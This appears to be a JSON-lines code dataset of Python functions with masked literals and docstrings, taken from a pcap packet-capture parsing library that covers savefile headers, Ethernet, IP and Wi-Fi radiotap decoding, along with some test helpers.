{"signature": "def __get_ll_type__(ll_type):", "body": "res = [llt for llt in __LL_TYPES__<EOL>if llt[<NUM_LIT:1>] == ll_type]<EOL>assert len(res) < <NUM_LIT:2>, '<STR_LIT>'<EOL>if res:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Given an lltype value, retrieve its definition.", "id": "f1075:m0"}
{"signature": "def lookup(ll_type):", "body": "res = __get_ll_type__(ll_type)<EOL>if res:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT>", "docstring": "Given an ll_type, retrieve the appropriate LL_TYPE.", "id": "f1075:m1"}
{"signature": "def slookup(ll_type):", "body": "res = __get_ll_type__(ll_type)<EOL>if res:<EOL><INDENT>return res[<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT>", "docstring": "Given an ll_type, retrieve the short name for the link layer.", "id": "f1075:m2"}
{"signature": "def clookup(ll_type):", "body": "res = __get_ll_type__(ll_type)<EOL>if res:<EOL><INDENT>return res[<NUM_LIT:3>]<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT>", "docstring": "Given an ll_type, retrieve the linklayer constructor to decode\nthe packets.", "id": "f1075:m3"}
{"signature": "def __load_linktype__(link_type):", "body": "try:<EOL><INDENT>filep, pathname, description = imp.find_module(link_type, sys.path)<EOL>link_type_module = imp.load_module(link_type, filep, pathname,<EOL>description)<EOL><DEDENT>except ImportError:<EOL><INDENT>return None<EOL><DEDENT>finally:<EOL><INDENT>if filep:<EOL><INDENT>filep.close()<EOL><DEDENT><DEDENT>return link_type_module<EOL>", "docstring": "Given a string for a given module, attempt to load it.", "id": "f1075:m4"}
{"signature": "def _load_savefile_header(file_h):", "body": "try:<EOL><INDENT>raw_savefile_header = file_h.read(<NUM_LIT>)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>raise InvalidEncoding(\"<STR_LIT>\")<EOL><DEDENT>if raw_savefile_header[:<NUM_LIT:4>] in [struct.pack(\"<STR_LIT>\", _MAGIC_NUMBER),<EOL>struct.pack(\"<STR_LIT>\", _MAGIC_NUMBER_NS)]:<EOL><INDENT>byte_order = b'<STR_LIT>'<EOL>unpacked = struct.unpack('<STR_LIT>', raw_savefile_header)<EOL><DEDENT>elif raw_savefile_header[:<NUM_LIT:4>] in [struct.pack(\"<STR_LIT>\", _MAGIC_NUMBER),<EOL>struct.pack(\"<STR_LIT>\", _MAGIC_NUMBER_NS)]:<EOL><INDENT>byte_order = b'<STR_LIT>'<EOL>unpacked = struct.unpack('<STR_LIT>', raw_savefile_header)<EOL><DEDENT>else:<EOL><INDENT>raise UnknownMagicNumber(\"<STR_LIT>\")<EOL><DEDENT>(magic, major, minor, tz_off, ts_acc, snaplen, ll_type) = unpacked<EOL>header = __pcap_header__(magic, major, minor, tz_off, ts_acc, snaplen,<EOL>ll_type, ctypes.c_char_p(byte_order),<EOL>magic == _MAGIC_NUMBER_NS)<EOL>if not __validate_header__(header):<EOL><INDENT>raise InvalidHeader(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return header<EOL><DEDENT>", "docstring": "Load and validate the header of a pcap file.", "id": "f1076:m2"}
{"signature": "def load_savefile(input_file, layers=<NUM_LIT:0>, verbose=False, lazy=False):", "body": "global VERBOSE<EOL>old_verbose = VERBOSE<EOL>VERBOSE = verbose<EOL>__TRACE__('<STR_LIT>', (input_file.name,))<EOL>header = _load_savefile_header(input_file)<EOL>if __validate_header__(header):<EOL><INDENT>__TRACE__('<STR_LIT>')<EOL>if lazy:<EOL><INDENT>packets = _generate_packets(input_file, header, layers)<EOL>__TRACE__('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>packets = _load_packets(input_file, header, layers)<EOL>__TRACE__('<STR_LIT>', (len(packets),))<EOL><DEDENT>sfile = pcap_savefile(header, packets)<EOL>__TRACE__('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>__TRACE__('<STR_LIT>')<EOL>sfile = None<EOL><DEDENT>VERBOSE = old_verbose<EOL>return sfile<EOL>", "docstring": "Parse a savefile as a pcap_savefile instance. Returns the savefile\non success and None on failure. Verbose mode prints additional information\nabout the file's processing. layers defines how many layers to descend and\ndecode the packet. input_file should be a Python file object.", "id": "f1076:m3"}
{"signature": "def _load_packets(file_h, header, layers=<NUM_LIT:0>):", "body": "pkts = []<EOL>hdrp = ctypes.pointer(header)<EOL>while True:<EOL><INDENT>pkt = _read_a_packet(file_h, hdrp, layers)<EOL>if pkt:<EOL><INDENT>pkts.append(pkt)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return pkts<EOL>", "docstring": "Read packets from the capture file. Expects the file handle to point to\nthe location immediately after the header (24 bytes).", "id": "f1076:m5"}
{"signature": "def _generate_packets(file_h, header, layers=<NUM_LIT:0>):", "body": "hdrp = ctypes.pointer(header)<EOL>while True:<EOL><INDENT>pkt = _read_a_packet(file_h, hdrp, layers)<EOL>if pkt:<EOL><INDENT>yield pkt<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Read packets one by one from the capture file. Expects the file\nhandle to point to the location immediately after the header (24\nbytes).", "id": "f1076:m6"}
{"signature": "def _read_a_packet(file_h, hdrp, layers=<NUM_LIT:0>):", "body": "raw_packet_header = file_h.read(<NUM_LIT:16>)<EOL>if not raw_packet_header or len(raw_packet_header) != <NUM_LIT:16>:<EOL><INDENT>return None<EOL><DEDENT>if hdrp[<NUM_LIT:0>].byteorder == '<STR_LIT>':<EOL><INDENT>packet_header = struct.unpack('<STR_LIT>', raw_packet_header)<EOL><DEDENT>else:<EOL><INDENT>packet_header = struct.unpack('<STR_LIT>', raw_packet_header)<EOL><DEDENT>(timestamp, timestamp_us, capture_len, packet_len) = packet_header<EOL>raw_packet_data = file_h.read(capture_len)<EOL>if not raw_packet_data or len(raw_packet_data) != capture_len:<EOL><INDENT>return None<EOL><DEDENT>if layers > <NUM_LIT:0>:<EOL><INDENT>layers -= <NUM_LIT:1><EOL>raw_packet = linklayer.clookup(hdrp[<NUM_LIT:0>].ll_type)(raw_packet_data,<EOL>layers=layers)<EOL><DEDENT>else:<EOL><INDENT>raw_packet = raw_packet_data<EOL><DEDENT>packet = pcap_packet(hdrp, timestamp, timestamp_us, capture_len,<EOL>packet_len, raw_packet)<EOL>return packet<EOL>", "docstring": "Reads the next individual packet from the capture file. Expects\nthe file handle to be somewhere after the header, on the next\nper-packet header.", "id": "f1076:m7"}
{"signature": "def init_capfile(self, layers=<NUM_LIT:0>):", "body": "self.capfile = savefile.load_savefile(open('<STR_LIT>', '<STR_LIT:r>'),<EOL>layers=layers)<EOL>", "docstring": "Initialise capture file.", "id": "f1078:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "print('<STR_LIT>')<EOL>", "docstring": "Print an intro to identify this test suite when running multiple tests.", "id": "f1078:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "print('<STR_LIT>')<EOL>", "docstring": "Print a start message when loading the test suite.", "id": "f1080:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "print('<STR_LIT>')<EOL>", "docstring": "Print a start message when loading the test suite.", "id": "f1081:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "print('<STR_LIT>')<EOL>", "docstring": "Print a start message when loading the test suite.", "id": "f1082:c0:m0"}
{"signature": "def create_pcap():", "body": "tfile = tempfile.NamedTemporaryFile()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:  <EOL><INDENT>capture = pickle.loads(base64.b64decode(fixture.TESTPCAP3))<EOL><DEDENT>else:  <EOL><INDENT>capture = pickle.loads(fixture.TESTPCAP2.decode('<STR_LIT>'))<EOL><DEDENT>with open(tfile.name, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(capture)<EOL><DEDENT>return tfile<EOL>", "docstring": "Create a capture file from the test fixtures.", "id": "f1083:m0"}
{"signature": "def init_capfile(self, layers=<NUM_LIT:0>):", "body": "tfile = create_pcap()<EOL>self.capfile = savefile.load_savefile(tfile, layers=layers)<EOL>tfile.close()<EOL>if os.path.exists(tfile.name):<EOL><INDENT>os.unlink(tfile.name)<EOL><DEDENT>", "docstring": "Initialise the capture file.", "id": "f1083:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "print('<STR_LIT>')<EOL>", "docstring": "Print an intro to identify this test suite when running multiple tests.", "id": "f1083:c0:m1"}
{"signature": "def setUp(self):", "body": "<EOL>if not self.capfile:<EOL><INDENT>self.init_capfile()<EOL><DEDENT>", "docstring": "Set up a default capture file.", "id": "f1083:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "print('<STR_LIT>')<EOL>", "docstring": "Print a start message when loading the test suite.", "id": "f1084:c0:m0"}
{"signature": "def raw(self):", "body": "return self.packet<EOL>", "docstring": "Return the raw binary data from the packet.", "id": "f1086:c1:m1"}
{"signature": "def parse_ipv4(address):", "body": "raw = struct.pack('<STR_LIT:I>', address)<EOL>octets = struct.unpack('<STR_LIT>', raw)[::-<NUM_LIT:1>]<EOL>ipv4 = b'<STR_LIT:.>'.join([('<STR_LIT>' % o).encode('<STR_LIT:ascii>') for o in bytearray(octets)])<EOL>return ipv4<EOL>", "docstring": "Given a raw IPv4 address (i.e. as an unsigned integer), return it in\ndotted quad notation.", "id": "f1087:m0"}
{"signature": "def strip_ip(packet):", "body": "if not isinstance(packet, IP):<EOL><INDENT>packet = IP(packet)<EOL><DEDENT>payload = packet.payload<EOL>return payload<EOL>", "docstring": "Remove the IP packet layer, yielding the transport layer.", "id": "f1087:m1"}
{"signature": "def strip_ethernet(packet):", "body": "if not isinstance(packet, Ethernet):<EOL><INDENT>packet = Ethernet(packet)<EOL><DEDENT>payload = packet.payload<EOL>return payload<EOL>", "docstring": "Strip the Ethernet frame from a packet.", "id": "f1088:m0"}
{"signature": "def payload_type(ethertype):", "body": "if ethertype == <NUM_LIT>:<EOL><INDENT>from pcapfile.protocols.network.ip import IP<EOL>return (IP, '<STR_LIT>')<EOL>", "docstring": "Returns the appropriate payload constructor based on the supplied\nEtherType.", "id": "f1088:m1"}
{"signature": "def load_network(self, layers=<NUM_LIT:1>):", "body": "if layers:<EOL><INDENT>ctor = payload_type(self.type)[<NUM_LIT:0>]<EOL>if ctor:<EOL><INDENT>ctor = ctor<EOL>payload = self.payload<EOL>self.payload = ctor(payload, layers - <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Given an Ethernet frame, determine the appropriate sub-protocol;\nIf layers is greater than zerol determine the type of the payload\nand load the appropriate type of network packet. It is expected\nthat the payload be a hexified string. The layers argument determines\nhow many layers to descend while parsing the packet.", "id": "f1088:c0:m1"}
{"signature": "def WIFI(frame, no_rtap=False):", "body": "pack = None<EOL>try:<EOL><INDENT>pack = WiHelper.get_wifi_packet(frame, no_rtap)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.exception(e)<EOL><DEDENT>return pack<EOL>", "docstring": "calls wifi packet discriminator and constructor.\n    :frame: ctypes.Structure\n    :no_rtap: Bool\n    :return: packet object in success\n    :return: int\n        -1 on known error\n    :return: int\n        -2 on unknown error", "id": "f1089:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_wifi_packet(frame, no_rtap=False):<DEDENT>", "body": "_, packet = WiHelper._strip_rtap(frame)<EOL>frame_control = struct.unpack('<STR_LIT>', packet[:<NUM_LIT:2>])<EOL>cat = (frame_control[<NUM_LIT:0>] >> <NUM_LIT:2>) & <NUM_LIT><EOL>s_type = frame_control[<NUM_LIT:0>] >> <NUM_LIT:4><EOL>if cat not in _CATEGORIES_.keys():<EOL><INDENT>logging.warning(\"<STR_LIT>\" % (cat))<EOL>return Unknown(frame, no_rtap)<EOL><DEDENT>if s_type not in _SUBTYPES_[cat].keys():<EOL><INDENT>logging.warning(\"<STR_LIT>\" % (s_type, _CATEGORIES_[cat]))<EOL>return Unknown(frame, no_rtap)<EOL><DEDENT>if cat == <NUM_LIT:0>:<EOL><INDENT>if s_type == <NUM_LIT:4>:<EOL><INDENT>return ProbeReq(frame, no_rtap)<EOL><DEDENT>elif s_type == <NUM_LIT:5>:<EOL><INDENT>return ProbeResp(frame, no_rtap)<EOL><DEDENT>elif s_type == <NUM_LIT:8>:<EOL><INDENT>return Beacon(frame, no_rtap)<EOL><DEDENT>else:<EOL><INDENT>return Management(frame, no_rtap)<EOL><DEDENT><DEDENT>elif cat == <NUM_LIT:1>:<EOL><INDENT>if s_type == <NUM_LIT:11>:<EOL><INDENT>return RTS(frame, no_rtap)<EOL><DEDENT>elif s_type == <NUM_LIT:12>:<EOL><INDENT>return CTS(frame, no_rtap)<EOL><DEDENT>elif s_type == <NUM_LIT:9>:<EOL><INDENT>return BACK(frame, no_rtap)<EOL><DEDENT>else:<EOL><INDENT>return Control(frame, no_rtap)<EOL><DEDENT><DEDENT>elif cat == <NUM_LIT:2>:<EOL><INDENT>if s_type == <NUM_LIT:8>:<EOL><INDENT>return QosData(frame, no_rtap, parse_amsdu=True)<EOL><DEDENT>else:<EOL><INDENT>return Data(frame, no_rtap)<EOL><DEDENT><DEDENT>", "docstring": "Discriminates Wi-Fi packet and creates\n        packet object.\n        :frame: ctypes.Structure\n        :no_rtap: Bool\n        :return: obj\n            Wi-Fi packet", "id": "f1089:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _strip_rtap(frame):<DEDENT>", "body": "rtap_len = WiHelper.__get_rtap_len(frame)<EOL>rtap = frame[:rtap_len]<EOL>packet = frame[rtap_len:]<EOL>return rtap, packet<EOL>", "docstring": "strip injected radiotap header.\n        :return: ctypes.Structure\n            radiotap header\n        :return: ctypes.Structure\n            actual layer 2 Wi-Fi payload", "id": "f1089:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def __get_rtap_len(frame):<DEDENT>", "body": "r_len = struct.unpack('<STR_LIT:H>', frame[<NUM_LIT:2>:<NUM_LIT:4>])<EOL>return r_len[<NUM_LIT:0>]<EOL>", "docstring": "parse length of radiotap header.\n        :packet: ctypes.structure\n        :return: int", "id": "f1089:c0:m2"}
{"signature": "def __init__(self, rtap_bytes):", "body": "super(Radiotap, self).__init__()<EOL>self._raw = {}   <EOL>self._bits = {}  <EOL>idx = <NUM_LIT:0><EOL>self._rtap = rtap_bytes<EOL>self.vers = Radiotap.strip_vers(self._rtap[idx:idx + <NUM_LIT:1>])<EOL>idx += <NUM_LIT:1><EOL>self.pad = Radiotap.strip_pad(self._rtap[idx:idx + <NUM_LIT:1>])<EOL>idx += <NUM_LIT:1><EOL>self.len = Radiotap.strip_len(self._rtap[idx:idx + <NUM_LIT:2>])<EOL>idx += <NUM_LIT:2><EOL>self.present, self.present_bits = Radiotap.strip_present(self._rtap[idx:idx + <NUM_LIT:4>])<EOL>idx += <NUM_LIT:4><EOL>if self.present.tsft:  <EOL><INDENT>idx, self.mactime = self.strip_tsft(idx)<EOL><DEDENT>if self.present.flags:  <EOL><INDENT>idx, self.flags = self.strip_flags(idx)<EOL><DEDENT>if self.present.rate:  <EOL><INDENT>idx, self.rate = self.strip_rate(idx)<EOL><DEDENT>if self.present.channel:  <EOL><INDENT>idx, self.chan = self.strip_chan(idx)<EOL><DEDENT>if self.present.fhss:  <EOL><INDENT>idx, self.fhss = self.strip_fhss(idx)<EOL><DEDENT>if self.present.dbm_antsignal:  <EOL><INDENT>idx, self.dbm_antsignal = self.strip_dbm_antsignal(idx)<EOL><DEDENT>if self.present.dbm_antnoise:  <EOL><INDENT>idx, self.dbm_antnoise = self.strip_dbm_antnoise(idx)<EOL><DEDENT>if self.present.lock_quality:  <EOL><INDENT>idx, self.lock_quality = self.strip_lock_quality(idx)<EOL><DEDENT>if self.present.tx_attenuation:  <EOL><INDENT>idx, self.tx_attenuation = self.strip_tx_attenuation(idx)<EOL><DEDENT>if self.present.db_tx_attenuation:  <EOL><INDENT>idx, self.db_tx_attenuation = self.strip_db_tx_attenuation(idx)<EOL><DEDENT>if self.present.dbm_tx_power:  <EOL><INDENT>idx, self.dbm_tx_power = self.strip_dbm_tx_power(idx)<EOL><DEDENT>if self.present.antenna:  <EOL><INDENT>idx, self.antenna = self.strip_antenna(idx)<EOL><DEDENT>if self.present.db_antsignal:  <EOL><INDENT>idx, self.db_antsignal = self.strip_db_antsignal(idx)<EOL><DEDENT>if self.present.db_antnoise:  <EOL><INDENT>idx, self.db_antnoise = self.strip_db_antnoise(idx)<EOL><DEDENT>if self.present.rxflags:  <EOL><INDENT>idx, self.rxflags = self.strip_rx_flags(idx)<EOL><DEDENT>if self.present.txflags:  <EOL><INDENT>idx, self.txflags = self.strip_tx_flags(idx)<EOL><DEDENT>if self.present.rts_retries:  <EOL><INDENT>idx, self.rts_retries = self.strip_rts_retries(idx)<EOL><DEDENT>if self.present.data_retries:  <EOL><INDENT>idx, self.data_retries = self.strip_data_retries(idx)<EOL><DEDENT>if self.present.xchannel:  <EOL><INDENT>idx, self.xchannel = self.strip_xchannel(idx)<EOL><DEDENT>if self.present.mcs:  <EOL><INDENT>idx, self.mcs = self.strip_mcs(idx)<EOL><DEDENT>if self.present.ampdu:  <EOL><INDENT>idx, self.ampdu = self.strip_ampdu(idx)<EOL><DEDENT>if self.present.vht:  <EOL><INDENT>idx, self.vht = self.strip_vht(idx)<EOL><DEDENT>self.prot_type = self.extract_protocol()<EOL>", "docstring": "Constructor method.\n        :rtap_bytes: ctypes.Structure", "id": "f1089:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def strip_vers(payload):<DEDENT>", "body": "return struct.unpack('<STR_LIT:B>', payload)[<NUM_LIT:0>]<EOL>", "docstring": "strip(1 byte) radiotap.version\n        :payload: ctypes.Structure\n        :return: int", "id": "f1089:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def strip_pad(payload):<DEDENT>", "body": "return struct.unpack('<STR_LIT:B>', payload)[<NUM_LIT:0>]<EOL>", "docstring": "strip(1 byte) radiotap.pad\n        :payload: ctypes.Structure\n        :return: int", "id": "f1089:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def strip_len(payload):<DEDENT>", "body": "return struct.unpack('<STR_LIT:H>', payload)[<NUM_LIT:0>]<EOL>", "docstring": "strip(2 byte) radiotap.length\n        :payload: ctypes.Structure\n        :return: int", "id": "f1089:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def strip_present(payload):<DEDENT>", "body": "present = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>val = struct.unpack('<STR_LIT>', payload)[<NUM_LIT:0>]<EOL>bits = format(val, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>present.tsft = int(bits[<NUM_LIT:0>])               <EOL>present.flags = int(bits[<NUM_LIT:1>])              <EOL>present.rate = int(bits[<NUM_LIT:2>])               <EOL>present.channel = int(bits[<NUM_LIT:3>])            <EOL>present.fhss = int(bits[<NUM_LIT:4>])               <EOL>present.dbm_antsignal = int(bits[<NUM_LIT:5>])      <EOL>present.dbm_antnoise = int(bits[<NUM_LIT:6>])       <EOL>present.lock_quality = int(bits[<NUM_LIT:7>])       <EOL>present.tx_attenuation = int(bits[<NUM_LIT:8>])     <EOL>present.db_tx_attenuation = int(bits[<NUM_LIT:9>])  <EOL>present.dbm_tx_power = int(bits[<NUM_LIT:10>])      <EOL>present.antenna = int(bits[<NUM_LIT:11>])           <EOL>present.db_antsignal = int(bits[<NUM_LIT:12>])      <EOL>present.db_antnoise = int(bits[<NUM_LIT>])       <EOL>present.rxflags = int(bits[<NUM_LIT>])           <EOL>present.txflags = int(bits[<NUM_LIT:15>])           <EOL>present.rts_retries = int(bits[<NUM_LIT:16>])       <EOL>present.data_retries = int(bits[<NUM_LIT>])      <EOL>present.xchannel = int(bits[<NUM_LIT>])          <EOL>present.mcs = int(bits[<NUM_LIT>])               <EOL>present.ampdu = int(bits[<NUM_LIT:20>])             <EOL>present.vht = int(bits[<NUM_LIT>])               <EOL>present.rtap_ns = int(bits[<NUM_LIT>])           <EOL>present.ven_ns = int(bits[<NUM_LIT:30>])            <EOL>present.ext = int(bits[<NUM_LIT>])               <EOL>return present, bits<EOL>", "docstring": "strip(4 byte) radiotap.present. Those are flags that\n        identify existence of incoming radiotap meta-data.\n        :idx: int\n        :return: str\n        :return: namedtuple", "id": "f1089:c1:m4"}
{"signature": "def strip_tsft(self, idx):", "body": "idx = Radiotap.align(idx, <NUM_LIT:8>)<EOL>mactime, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:8>, mactime<EOL>", "docstring": "strip(8 byte) radiotap.mactime\n        :idx: int\n        :return: int\n            idx\n        :return: int\n            mactime", "id": "f1089:c1:m5"}
{"signature": "def strip_flags(self, idx):", "body": "flags = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>val, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>bits = format(val, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>flags.cfp = int(bits[<NUM_LIT:0>])<EOL>flags.preamble = int(bits[<NUM_LIT:1>])<EOL>flags.wep = int(bits[<NUM_LIT:2>])<EOL>flags.fragmentation = int(bits[<NUM_LIT:3>])<EOL>flags.fcs = int(bits[<NUM_LIT:4>])<EOL>flags.datapad = int(bits[<NUM_LIT:5>])<EOL>flags.badfcs = int(bits[<NUM_LIT:6>])<EOL>flags.shortgi = int(bits[<NUM_LIT:7>])<EOL>return idx + <NUM_LIT:1>, flags<EOL>", "docstring": "strip(1 byte) radiotap.flags\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m6"}
{"signature": "def strip_rate(self, idx):", "body": "val, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>rate_unit = float(<NUM_LIT:1>) / <NUM_LIT:2>    <EOL>return idx + <NUM_LIT:1>, rate_unit * val<EOL>", "docstring": "strip(1 byte) radiotap.datarate\n        note that, unit of this field is originally 0.5 Mbps\n        :idx: int\n        :return: int\n            idx\n        :return: double\n            rate in terms of Mbps", "id": "f1089:c1:m7"}
{"signature": "def strip_chan(self, idx):", "body": "chan = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'])<EOL>idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>freq, flags, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>chan.freq = freq<EOL>bits = format(flags, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>chan.turbo = int(bits[<NUM_LIT:4>])<EOL>chan.cck = int(bits[<NUM_LIT:5>])<EOL>chan.ofdm = int(bits[<NUM_LIT:6>])<EOL>chan.two_g = int(bits[<NUM_LIT:7>])<EOL>chan.five_g = int(bits[<NUM_LIT:8>])<EOL>chan.passive = int(bits[<NUM_LIT:9>])<EOL>chan.dynamic = int(bits[<NUM_LIT:10>])<EOL>chan.gfsk = int(bits[<NUM_LIT:11>])<EOL>chan.gsm = int(bits[<NUM_LIT:12>])<EOL>chan.static_turbo = int(bits[<NUM_LIT>])<EOL>chan.half_rate = int(bits[<NUM_LIT>])<EOL>chan.quarter_rate = int(bits[<NUM_LIT:15>])<EOL>return idx + <NUM_LIT:4>, chan<EOL>", "docstring": "strip(2 byte) radiotap.channel.flags\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m8"}
{"signature": "def strip_fhss(self, idx):", "body": "fhss = collections.namedtuple('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])<EOL>fhss.hopset, fhss.pattern, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:2>, fhss<EOL>", "docstring": "strip (2 byte) radiotap.fhss.hopset(1 byte) and\n        radiotap.fhss.pattern(1 byte)\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m9"}
{"signature": "def strip_dbm_antsignal(self, idx):", "body": "dbm_antsignal, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, dbm_antsignal<EOL>", "docstring": "strip(1 byte) radiotap.dbm.ant_signal\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m10"}
{"signature": "def strip_dbm_antnoise(self, idx):", "body": "dbm_antnoise, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, dbm_antnoise<EOL>", "docstring": "strip(1 byte) radiotap.dbm_antnoise\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m11"}
{"signature": "def strip_lock_quality(self, idx):", "body": "idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>lock_quality, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:2>, lock_quality<EOL>", "docstring": "strip(2 byte) lock quality\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m12"}
{"signature": "def strip_tx_attenuation(self, idx):", "body": "idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>tx_attenuation, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:2>, tx_attenuation<EOL>", "docstring": "strip(1 byte) tx_attenuation\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m13"}
{"signature": "def strip_db_tx_attenuation(self, idx):", "body": "idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>db_tx_attenuation, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:2>, db_tx_attenuation<EOL>", "docstring": "strip(1 byte) db_tx_attenuation\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m14"}
{"signature": "def strip_dbm_tx_power(self, idx):", "body": "idx = Radiotap.align(idx, <NUM_LIT:1>)<EOL>dbm_tx_power, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, dbm_tx_power<EOL>", "docstring": "strip(1 byte) dbm_tx_power\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m15"}
{"signature": "def strip_antenna(self, idx):", "body": "antenna, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, antenna<EOL>", "docstring": "strip(1 byte) radiotap.antenna\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m16"}
{"signature": "def strip_db_antsignal(self, idx):", "body": "db_antsignal, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, db_antsignal<EOL>", "docstring": "strip(1 byte) radiotap.db_antsignal\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m17"}
{"signature": "def strip_db_antnoise(self, idx):", "body": "db_antnoise, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, db_antnoise<EOL>", "docstring": "strip(1 byte) radiotap.db_antnoise\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m18"}
{"signature": "def strip_rx_flags(self, idx):", "body": "rx_flags = collections.namedtuple('<STR_LIT>', ['<STR_LIT>', '<STR_LIT>'])<EOL>idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>flags, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>flag_bits = format(flags, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>rx_flags.reserved = int(flag_bits[<NUM_LIT:0>])<EOL>rx_flags.badplcp = int(flag_bits[<NUM_LIT:1>])<EOL>return idx + <NUM_LIT:2>, rx_flags<EOL>", "docstring": "strip(2 byte) radiotap.rxflags\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m19"}
{"signature": "def strip_tx_flags(self, idx):", "body": "idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>tx_flags, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, tx_flags<EOL>", "docstring": "strip(1 byte) tx_flags\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m20"}
{"signature": "def strip_rts_retries(self, idx):", "body": "rts_retries, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, rts_retries<EOL>", "docstring": "strip(1 byte) rts_retries\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m21"}
